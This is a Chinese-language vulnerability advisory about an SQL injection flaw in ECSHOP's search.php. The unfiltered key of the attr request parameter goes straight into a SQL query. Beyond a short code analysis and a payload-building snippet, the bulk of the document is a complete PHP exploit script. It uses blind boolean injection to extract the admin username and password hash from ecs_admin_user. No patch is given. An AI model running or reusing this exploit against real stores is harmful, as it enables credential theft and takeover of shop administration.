ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞

影响版本:
ECSHOP All Version

程序介绍:

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

 

文件 search.php
$string = base64_decode(trim($_GET[‘encode’]));   //37行
 
$_REQUEST = array_merge($_REQUEST, addslashes_deep($string));   //69行
 
可以看出addslashes_deep 只能参数值进行过滤。
//297行
    if (!empty($_REQUEST[‘attr’]))
    {
        $sql = "SELECT goods_id, COUNT(*) AS num FROM " . $ecs->table("goods_attr") . " WHERE 0 ";
        foreach ($_REQUEST[‘attr’] AS $key => $val)
        {
            if (is_not_null($val))
            {
                $attr_num++;
                $sql .= " OR (1 ";
 
                if (is_array($val))
                {
                    $sql .= " AND attr_id = ‘$key’";
$key是$_REQUEST[‘attr’] 的键值,就是这里没有过滤,直接进入SQL查询,造成SQL注入漏洞
可自行构造encode 的值进行注入。
<?php
$list=array("1′ or 1=1) and 1=2 GROUP BY goods_id HAVING num = ‘1’ /*"=>"yy");
$string = array("attr"=>$list);
$string = str_replace(‘+’, ‘%2b’, base64_encode(serialize($string)));
die($string);

?> 

漏洞利用:

 

 
  1. <?php  
  2. ini_set("max_execution_time",0);  
  3. error_reporting(7);  
  4.   
  5. function usage()  
  6. {  
  7. global $argv;  
  8. exit(  
  9. "\n–+++============================================================+++–".  
  10. "\n–+++====== ECShop Search.php SQL Injection Exploit========+++–".  
  11. "\n–+++============================================================+++–".  
  12. "\n\n[+] Author: jannock".  
  13. "\n[+] Team: [url]http://wavdb.com/[/url]".  
  14. "\n[+] Usage: php ".$argv[0]." <hostname> <path> <goods_id>".  
  15. "\n[+] Ex.: php ".$argv[0]." localhost / 1".  
  16. "\n\n");  
  17. }  
  18.   
  19. function query($pos$chr$chs,$goodid)  
  20. {  
  21. switch ($chs){  
  22. case 0:  
  23. $query = "1=1";  
  24. break;  
  25. case 1:  
  26. $query = " ascii(substring((select user_name from ecs_admin_user limit 0,1),{$pos},1))={$chr}";  
  27. break;  
  28. case 2:  
  29. $query = " ascii(substring((select password from ecs_admin_user limit 0,1),{$pos},1))={$chr}";  
  30. break;  
  31. case 3:  
  32. $query = " length((select user_name from ecs_admin_user limit 0,1))={$pos}";  
  33. break;  
  34. }  
  35. $list=array("1′ or 1=1) and 1=2 GROUP BY goods_id HAVING num = ‘1’ union select $goodid,1 from ecs_admin_user where 1=1 and "$query ."/*"=>"1");  
  36. $query = array("attr"=>$list);  
  37. $query = str_replace(‘+’‘%2b’base64_encode(serialize($query)));  
  38. return $query;  
  39. }  
  40.   
  41. function exploit($hostname$path$pos$chr$chs,$goodid)  
  42. {  
  43. $chr = ord($chr);  
  44. $conn = fsockopen($hostname, 80);  
  45.   
  46. $message = "GET ".$path."/search.php?encode=".query($pos$chr$chs,$goodid)." HTTP/1.1\r\n";  
  47. $message .= "Host: $hostname\r\n";  
  48. $message .= "Connection: Close\r\n\r\n";  
  49.   
  50. fwrite($conn$message);  
  51. while (!feof($conn))  
  52. {  
  53. $reply .= fgets($conn, 1024);  
  54. }  
  55. fclose($conn);  
  56. return $reply;  
  57. }  
  58.   
  59.   
  60. function crkusername($hostname$path$chs,$goodid)  
  61. {  
  62. global $length;  
  63. $key = "abcdefghijklmnopqrstuvwxyz0123456789";  
  64. $chr = 0;  
  65. $pos = 1;  
  66. echo "[+] username: ";  
  67. while ($pos <= $length)  
  68. {  
  69. $response = exploit($hostname$path$pos$key[$chr], $chs,$goodid);  
  70.   
  71. if (preg_match ("/javascript:addToCart/i"$response))  
  72. {  
  73. echo $key[$chr];  
  74. $chr = 0;  
  75. $pos++;  
  76. }  
  77. else  
  78. $chr++;  
  79. }  
  80. echo "\n";  
  81. }  
  82.   
  83. function crkpassword($hostname$path$chs,$goodid)  
  84. {  
  85. $key = "abcdef0123456789";  
  86. $chr = 0;  
  87. $pos = 1;  
  88. echo "[+] password: ";  
  89. while ($pos <= 32)  
  90. {  
  91. $response = exploit($hostname$path$pos$key[$chr], $chs,$goodid);  
  92. if (preg_match ("/javascript:addToCart/i"$response))  
  93. {  
  94. echo $key[$chr];  
  95. $chr = 0;  
  96. $pos++;  
  97. }  
  98. else  
  99. $chr++;  
  100. }  
  101. echo "\n\n";  
  102. }  
  103.   
  104. function lengthcolumns($hostname$path,$chs$goodid)  
  105. {  
  106. echo "[+] username length: ";  
  107. $exit = 0;  
  108. $length = 0;  
  109. $pos = 1;  
  110. $chr = 0;  
  111. while ($exit==0)  
  112. {  
  113. $response = exploit($hostname$path$pos$chr$chs,$goodid);  
  114. if (preg_match ("/javascript:addToCart/i"$response))  
  115. {  
  116. $exit = 1;  
  117. $length = $pos;  
  118. break;  
  119. }  
  120. else  
  121. {  
  122. $pos++;  
  123. if($pos>20)  
  124. {  
  125. exit("Exploit failed");  
  126. }  
  127. }  
  128. }  
  129. echo $length."\n";  
  130. return $length;  
  131. }  
  132.   
  133.   
  134. if ($argc != 4)  
  135. usage();  
  136. $hostname = $argv[1];  
  137. $path = $argv[2];  
  138. $goodid = $argv[3];  
  139. $length = lengthcolumns($hostname$path, 3, $goodid);  
  140. crkusername($hostname$path, 1,$goodid);  
  141. crkpassword($hostname$path, 2,$goodid);  
  142.   
  143. ?>  

 

解决方案:
厂商补丁
ECSHOP
———-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ecshop.com

信息来源:
<*来源: Bug.Center.Team
链接: http://wavdb.com/1618*>

发表评论?

0 条评论。

发表评论